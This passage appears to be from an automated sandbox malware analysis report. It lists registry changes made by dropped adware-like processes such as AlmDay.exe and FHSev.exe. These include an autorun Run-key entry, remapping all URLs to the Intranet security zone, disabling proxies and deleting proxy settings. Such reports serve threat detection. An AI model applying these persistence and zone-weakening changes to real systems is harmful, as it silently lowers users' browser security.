"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\AlmDay]
"AppFilePath" = "%Documents and Settings%\%current user%\Application Data\AlmDay\AlmDay.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AlmDay]
"URLInfoAbout" = "http://www.wangren123.com"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AlmDay]
"UninstallString" = "%Documents and Settings%\%current user%\Application Data\AlmDay\Uninst.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AlmDay]
"AppUninst" = "-unreg"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AlmDay]
"DisplayIcon" = "%Documents and Settings%\%current user%\Application Data\AlmDay\AlmDay.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B6 EE 5E D4 E5 C3 99 18 EF EA B6 89 B4 F5 34 C7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AlmDay]
"AppPath" = "%Documents and Settings%\%current user%\Application Data\AlmDay\AlmDay.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data\AlmDay]
"AlmDay.exe" = "今日黄历 应用程序"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

To automatically run itself each time Windows is booted, the Dropped adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"AlmDay" = "%Documents and Settings%\%current user%\Application Data\AlmDay\AlmDay.exe /start"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process IFoxInstall-y-c203945859-run-s-x.exe:1360 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5C 87 7C 5E 25 3D 63 86 B8 32 D8 C3 39 05 65 94"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process AlmDay.exe:1016 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Application Data\AlmDay]
"AlmDayQuick.exe" = "今日黄历辅助进程 应用程序"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 2A 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0A 5C 9E 60 84 6F C7 77 9D CA C7 DB 25 64 48 EB"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process assistupdate.exe:2660 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0F C3 F6 E5 67 3E 74 66 B7 D2 3C 5B C2 FB AD 27"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process setup_2948-140896.exe:1164 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\FM4.0\201409180317]
"FHSev.exe" = "音乐通用检测报告"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D6 AA A8 FF F3 87 20 33 10 D6 06 52 0C 79 6A CE"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process axult.exe:460 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "92 51 F9 8F C4 41 FB 29 07 17 C0 0B 8A 8B 06 78"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:264 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "51 1B 6D 18 2F 85 64 8E A3 12 BB EE 9F 15 27 2F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\WinRAR SFX]
"C%%Program Files%fjwyusp" = "%Program Files%\fjwyusp"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\fjwyusp]
"fjwyusp.exe" = "fjwyusp"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process AppleDesktop.exe:1952 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 22 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "68 54 36 A6 55 A4 46 CF FD CD A2 09 D1 68 B1 70"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\@%System%]
"SHELL32.dll,-22915" = "Contains the files and folders that you have deleted."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process FHSev.exe:2280 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B6 00 E4 77 A1 A4 D4 1F DD B6 42 6F 16 E8 E2 53"

The process FHSev.exe:2212 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6E CA A4 D3 97 1B 0F 31 A7 D6 25 C2 E1 F2 89 95"

The process FHSev.exe:2328 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
